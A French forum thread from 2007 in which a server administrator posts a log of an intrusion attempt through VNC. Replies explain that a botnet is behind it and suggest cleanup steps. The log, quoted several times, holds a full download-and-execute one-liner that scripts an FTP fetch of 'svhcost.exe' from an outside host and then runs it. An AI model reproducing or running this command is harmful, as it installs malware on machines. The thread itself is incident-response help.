Logo GNT
Actualités Tests & Guides Bons Plans
Twitter iPhone pliant OnePlus 11 PS5 Disney+ Orange Livebox Windows 11
Entraide Windows Windows Serveur Discussions Générales Intrusions extérieure.

Intrusions extérieure.

12 réponses
Avatar
Maeva67
Bonjour,

Je viens de me connecter via VNC sur un serveur dont j'assure la gestion et
je suis étonnée de voir qu'une fenetre de commande était ouverte avec le
texte qui suit.

Aucune des personnes ayant accès à ce serveur n'est assez pointu en
informatique pour effectuer ce genre d'action, ce qui m'amène à soupçonner
une intrusion extérieure.

Qu'a-t-il essayé, voire réussi, à faire? J'ai changé le mot de passe de la
session Windows, y a-t-il un risque qu'il puisse trouver le nouveau mot de
passe?

Comment a-t-il faut pour trouver le mot de passe VNC?

Merci

<<<<

C:\WINDOWS\system32>del eq&echo open 0.0.0.0 18352 >> eq&echo user 14963
26811 >
> eq &echo get svhcost.exe >> eq &echo quit >> eq &ftp -n -s:eq &svhcost.exe
> &de
l eq
Impossible de trouver C:\WINDOWS\system32\eq
ftp> open 0.0.0.0 18352
> ftp : connect :Impossible d'attribuer l'adresse demande
ftp> user 14963 26811
Non connect.
ftp> get svhcost.exe
Non connect.
ftp> quit
'svhcost.exe' n'est pas reconnu en tant que commande interne
ou externe, un programme excutable ou un fichier de commandes.

>>>
Signaler un problème avec ce contenu

10 réponses

Supprimer
Cette action est irreversible, confirmez la suppression du commentaire ?
Signaler le commentaire

Veuillez sélectionner un problème

Nudité
Violence
Harcèlement
Fraude
Vente illégale
Discours haineux
Terrorisme
Autre
1 2
Avatar
Nina Popravka
On Sun, 7 Oct 2007 11:04:43 +0200, "Maeva67" wrote:

Qu'a-t-il essayé, voire réussi, à faire? J'ai changé le mot de passe de la
session Windows, y a-t-il un risque qu'il puisse trouver le nouveau mot de
passe?


C'est un bot vnc. Ca passe son temps à scanner des plages d'IP à la
recherche de serveurs vnc sans pass, ou avec des failles, et ça lance
un ftp en ligne de commande pour aller ramener un troyen, ça le lance,
et la machine va s'inscrire sur le bot net, et se met à scanner des
plages d'ip etc etc etc...
Là, apparemment, il s'est loupé, mais il est certain que votre serveur
vnc est un gruyère.

Opinion perso : il faut être fou à lier pour installer VNC sur un
serveur, vu la non sécurité du truc. Et encore plus fou pour le faire
tourner sur le port 5900.
Utilisez rdc via une connexion ssh (celui de cygwin, qui est le seul à
jour), comme tous les gens prudents. A moins que ça ne soit un NT4,
avec lequel ça n'est pas possible, du moins pour rdc.
--
Nina

Avatar
Mathieu CHATEAU
Bonjour,

en supplément de ce que Nina a indiqué, je vous conseil tout de même:
-analyse antispyware & antivirus
-Vérifier qu'il n'y a pas de nouveaux comptes admin local
-Renommer le compte administrateur


--
Cordialement,
Mathieu CHATEAU
English blog: http://lordoftheping.blogspot.com
French blog: http://www.lotp.fr


"Maeva67" wrote in message
news:
Bonjour,

Je viens de me connecter via VNC sur un serveur dont j'assure la gestion
et je suis étonnée de voir qu'une fenetre de commande était ouverte avec
le texte qui suit.

Aucune des personnes ayant accès à ce serveur n'est assez pointu en
informatique pour effectuer ce genre d'action, ce qui m'amène à soupçonner
une intrusion extérieure.

Qu'a-t-il essayé, voire réussi, à faire? J'ai changé le mot de passe de la
session Windows, y a-t-il un risque qu'il puisse trouver le nouveau mot de
passe?

Comment a-t-il faut pour trouver le mot de passe VNC?

Merci

<<<<

C:WINDOWSsystem32>del eq&echo open 0.0.0.0 18352 >> eq&echo user 14963
26811 >
eq &echo get svhcost.exe >> eq &echo quit >> eq &ftp -n -s:eq
&svhcost.exe &de
l eq

Impossible de trouver C:WINDOWSsystem32eq
ftp> open 0.0.0.0 18352
ftp : connect :Impossible d'attribuer l'adresse demande
ftp> user 14963 26811

Non connect.
ftp> get svhcost.exe
Non connect.
ftp> quit
'svhcost.exe' n'est pas reconnu en tant que commande interne
ou externe, un programme excutable ou un fichier de commandes.












Avatar
Maeva67
"Nina Popravka" a écrit dans le message de
news:
On Sun, 7 Oct 2007 11:04:43 +0200, "Maeva67" wrote:

Qu'a-t-il essayé, voire réussi, à faire? J'ai changé le mot de passe de la
session Windows, y a-t-il un risque qu'il puisse trouver le nouveau mot de
passe?


C'est un bot vnc. Ca passe son temps à scanner des plages d'IP à la
recherche de serveurs vnc sans pass, ou avec des failles, et ça lance
un ftp en ligne de commande pour aller ramener un troyen, ça le lance,
et la machine va s'inscrire sur le bot net, et se met à scanner des
plages d'ip etc etc etc...
Là, apparemment, il s'est loupé, mais il est certain que votre serveur
vnc est un gruyère.

Opinion perso : il faut être fou à lier pour installer VNC sur un
serveur, vu la non sécurité du truc. Et encore plus fou pour le faire
tourner sur le port 5900.
Utilisez rdc via une connexion ssh (celui de cygwin, qui est le seul à
jour), comme tous les gens prudents. A moins que ça ne soit un NT4,
avec lequel ça n'est pas possible, du moins pour rdc.
--
Nina




Avatar
Maeva67
"Nina Popravka" a écrit dans le message de
news:
On Sun, 7 Oct 2007 11:04:43 +0200, "Maeva67" wrote:

Qu'a-t-il essayé, voire réussi, à faire? J'ai changé le mot de passe de la
session Windows, y a-t-il un risque qu'il puisse trouver le nouveau mot de
passe?


C'est un bot vnc. Ca passe son temps à scanner des plages d'IP à la
recherche de serveurs vnc sans pass, ou avec des failles, et ça lance
un ftp en ligne de commande pour aller ramener un troyen, ça le lance,
et la machine va s'inscrire sur le bot net, et se met à scanner des
plages d'ip etc etc etc...
Là, apparemment, il s'est loupé, mais il est certain que votre serveur
vnc est un gruyère.

Opinion perso : il faut être fou à lier pour installer VNC sur un
serveur, vu la non sécurité du truc. Et encore plus fou pour le faire
tourner sur le port 5900.
Utilisez rdc via une connexion ssh (celui de cygwin, qui est le seul à
jour), comme tous les gens prudents. A moins que ça ne soit un NT4,
avec lequel ça n'est pas possible, du moins pour rdc.
--
Nina






Merci pour votre réponse et votre rapidité.

Je ne connais pas rdc, avez-vous plus d'infos, un lien vers un site
internet?


Avatar
Maeva67
Il y a un antivirus / anti spyware à jour sur le serveur. C'est sans doute
lui qui a empêché l'acction du bot.


"Mathieu CHATEAU" a écrit dans le message de
news:%
Bonjour,

en supplément de ce que Nina a indiqué, je vous conseil tout de même:
-analyse antispyware & antivirus
-Vérifier qu'il n'y a pas de nouveaux comptes admin local
-Renommer le compte administrateur


--
Cordialement,
Mathieu CHATEAU
English blog: http://lordoftheping.blogspot.com
French blog: http://www.lotp.fr


"Maeva67" wrote in message
news:
Bonjour,

Je viens de me connecter via VNC sur un serveur dont j'assure la gestion
et je suis étonnée de voir qu'une fenetre de commande était ouverte avec
le texte qui suit.

Aucune des personnes ayant accès à ce serveur n'est assez pointu en
informatique pour effectuer ce genre d'action, ce qui m'amène à
soupçonner une intrusion extérieure.

Qu'a-t-il essayé, voire réussi, à faire? J'ai changé le mot de passe de
la session Windows, y a-t-il un risque qu'il puisse trouver le nouveau
mot de passe?

Comment a-t-il faut pour trouver le mot de passe VNC?

Merci

<<<<

C:WINDOWSsystem32>del eq&echo open 0.0.0.0 18352 >> eq&echo user 14963
26811 >
eq &echo get svhcost.exe >> eq &echo quit >> eq &ftp -n -s:eq
&svhcost.exe &de
l eq

Impossible de trouver C:WINDOWSsystem32eq
ftp> open 0.0.0.0 18352
ftp : connect :Impossible d'attribuer l'adresse demande
ftp> user 14963 26811

Non connect.
ftp> get svhcost.exe
Non connect.
ftp> quit
'svhcost.exe' n'est pas reconnu en tant que commande interne
ou externe, un programme excutable ou un fichier de commandes.
















Avatar
Nina Popravka
On Sun, 7 Oct 2007 11:49:24 +0200, "Maeva67" wrote:

Je ne connais pas rdc,


???
Propriétés système, onglet utilisation à distance, activer le bureau à
distance...
--
Nina

Avatar
Nina Popravka
On Sun, 7 Oct 2007 11:50:19 +0200, "Maeva67" wrote:

Il y a un antivirus / anti spyware à jour sur le serveur. C'est sans doute
lui qui a empêché l'acction du bot.


M'étonnerait.
Il se trouve justement que je m'intéresse aux bots vnc, et j'en ai
toute une collection qui laissent la plupart des anti virus de marbre.
--
Nina

Avatar
Mathieu CHATEAU
Je dirais plutot que vous avez un firewall qui bloque les connexions
sortantes FTP depuis le serveur

--
Cordialement,
Mathieu CHATEAU
English blog: http://lordoftheping.blogspot.com
French blog: http://www.lotp.fr


"Maeva67" wrote in message
news:%
Il y a un antivirus / anti spyware à jour sur le serveur. C'est sans doute
lui qui a empêché l'acction du bot.


"Mathieu CHATEAU" a écrit dans le message de
news:%
Bonjour,

en supplément de ce que Nina a indiqué, je vous conseil tout de même:
-analyse antispyware & antivirus
-Vérifier qu'il n'y a pas de nouveaux comptes admin local
-Renommer le compte administrateur


--
Cordialement,
Mathieu CHATEAU
English blog: http://lordoftheping.blogspot.com
French blog: http://www.lotp.fr


"Maeva67" wrote in message
news:
Bonjour,

Je viens de me connecter via VNC sur un serveur dont j'assure la gestion
et je suis étonnée de voir qu'une fenetre de commande était ouverte avec
le texte qui suit.

Aucune des personnes ayant accès à ce serveur n'est assez pointu en
informatique pour effectuer ce genre d'action, ce qui m'amène à
soupçonner une intrusion extérieure.

Qu'a-t-il essayé, voire réussi, à faire? J'ai changé le mot de passe de
la session Windows, y a-t-il un risque qu'il puisse trouver le nouveau
mot de passe?

Comment a-t-il faut pour trouver le mot de passe VNC?

Merci

<<<<

C:WINDOWSsystem32>del eq&echo open 0.0.0.0 18352 >> eq&echo user 14963
26811 >
eq &echo get svhcost.exe >> eq &echo quit >> eq &ftp -n -s:eq
&svhcost.exe &de
l eq

Impossible de trouver C:WINDOWSsystem32eq
ftp> open 0.0.0.0 18352
ftp : connect :Impossible d'attribuer l'adresse demande
ftp> user 14963 26811

Non connect.
ftp> get svhcost.exe
Non connect.
ftp> quit
'svhcost.exe' n'est pas reconnu en tant que commande interne
ou externe, un programme excutable ou un fichier de commandes.




















Avatar
Maeva67
Ah oki !! RDC = Remote Desktop Controler ...

J'avais pas capté ;)

Merci

"Nina Popravka" a écrit dans le message de
news:
On Sun, 7 Oct 2007 11:49:24 +0200, "Maeva67" wrote:

Je ne connais pas rdc,


???
Propriétés système, onglet utilisation à distance, activer le bureau à
distance...
--
Nina




Avatar
F. Dunoyer [MVP]
Maeva67 a utilisé son clavier pour écrire :
Ah oki !! RDC = Remote Desktop Controler ...

J'avais pas capté ;)

Merci

"Nina Popravka" a écrit dans le message de
news:
On Sun, 7 Oct 2007 11:49:24 +0200, "Maeva67" wrote:

Je ne connais pas rdc,


???
Propriétés système, onglet utilisation à distance, activer le bureau à
distance...
-- Nina

Si ça peut te rassurer RDC ça ne me parle pas non plus :)


client TSE oui
RDP (le protocole sur lequel s'appuie le client Bureau à DIstance) oui
Bureau à distance etc...

--
François Dunoyer [MVP Windows Server / Security]
Quelques liens pour Windows : http://fds.mvps.org/AdressesInternets.htm
Site perso : http://www.fdunoyer.net



1 2